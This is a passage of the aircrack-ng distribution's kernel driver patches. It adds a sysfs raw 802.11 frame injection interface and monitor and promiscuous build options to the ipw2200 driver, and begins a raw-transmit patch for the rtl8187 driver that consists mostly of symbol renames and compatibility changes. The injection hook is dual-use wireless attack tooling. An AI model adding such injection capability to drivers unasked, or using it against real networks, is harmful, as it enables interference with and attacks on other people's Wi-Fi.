ipw_tx_skb(struct ipw_priv *priv, struct ieee80211_txb *txb, int pri); + +/* SYSFS INJECT */ +static ssize_t store_inject(struct device *d, +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,12) + struct device_attribute *attr, +#endif + const char *buf, size_t count) +{ + struct ipw_priv *priv = (struct ipw_priv *)d->driver_data; + struct ieee80211_device *ieee = priv->ieee; + struct ieee80211_txb * txb; + struct sk_buff *skb_frag; + unsigned char * newbuf; + unsigned long flags; + + // should test (ieee->is_queue_full) + + // Fw only accepts data, so avoid accidental fw errors. + if ( (buf[0]&0x0c) != '\x08') { + //printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]); + return count; + } + + if (count>1500) { + count=1500; + printk("ipw2200: inject: cutting down frame to 1500 bytes\n"); + } + + spin_lock_irqsave(&priv->lock, flags); + + // Create a txb with one skb + txb = kmalloc(sizeof(struct ieee80211_txb) + sizeof(u8 *), GFP_ATOMIC); + if (!txb) + goto nosepuede; + txb->nr_frags=1; + txb->frag_size = ieee->tx_headroom; + txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC); + if (!txb->fragments[0]) { + kfree(txb); + goto nosepuede; + } + skb_reserve(txb->fragments[0], ieee->tx_headroom); + txb->encrypted=0; + txb->payload_size=count; + skb_frag = txb->fragments[0]; + newbuf=skb_put(skb_frag, count); + + // copy data into txb->skb and send it + memcpy(newbuf, buf, count); + + ipw_tx_skb(priv, txb, 0); + +nosepuede: + spin_unlock_irqrestore(&priv->lock, flags); + return count; +} + +static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject); + static void notify_wx_assoc_event(struct ipw_priv *priv) { union iwreq_data wrqu; @@ -11478,6 +11538,7 @@ #ifdef CONFIG_IPW2200_PROMISCUOUS &dev_attr_rtap_iface.attr, &dev_attr_rtap_filter.attr, + &dev_attr_inject.attr, #endif NULL }; diff -ur ipw2200-1.1.4/Makefile ipw2200-1.1.4-inject/Makefile --- ipw2200-1.1.4/Makefile 2006-08-21 04:38:29.000000000 +0200 +++ ipw2200-1.1.4-inject/Makefile 2006-08-23 14:22:06.000000000 +0200 @@ -30,14 +30,14 @@ # simply uncomment: # # NOTE: To use RADIOTAP you must also enable MONITOR above. -#CONFIG_IPW2200_RADIOTAP=y +CONFIG_IPW2200_RADIOTAP=y # The above monitor mode provides standard monitor mode. The following # will create a new interface (named rtap%d) which will be sent all # 802.11 frames received on the interface # # NOTE: To use PROMISCUOUS you must also enable MONITOR above. -#CONFIG_IPW2200_PROMISCUOUS=y +CONFIG_IPW2200_PROMISCUOUS=y endif aircrack-ng-1.2-beta3/patches/rtl8187_2.6.27.patch0000644000000000000000000156417611050354367017674 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/ieee80211_crypt.h 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h 2008-08-12 13:11:32.000000000 -0400 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/ieee80211.h 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h 2008-08-12 14:23:31.000000000 -0400 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,21 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) - -extern inline void *ieee80211_priv(struct net_device *dev) +#if WIRELESS_EXT >= 22 +static inline void *ieee80211_priv_rtl7(struct net_device *dev) +#else +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) +#endif { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1200,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1226,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1254,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1401,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1419,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/Makefile 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile 2008-08-12 13:11:32.000000000 -0400 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_93cx6.c 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c 2008-08-12 13:11:32.000000000 -0400 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_hw.h 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h 2008-08-12 13:11:32.000000000 -0400 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225.c 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c 2008-08-12 13:11:32.000000000 -0400 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225.h 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h 2008-08-12 13:11:32.000000000 -0400 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225z2.c 2006-06-05 22:58:02.000000000 -0400 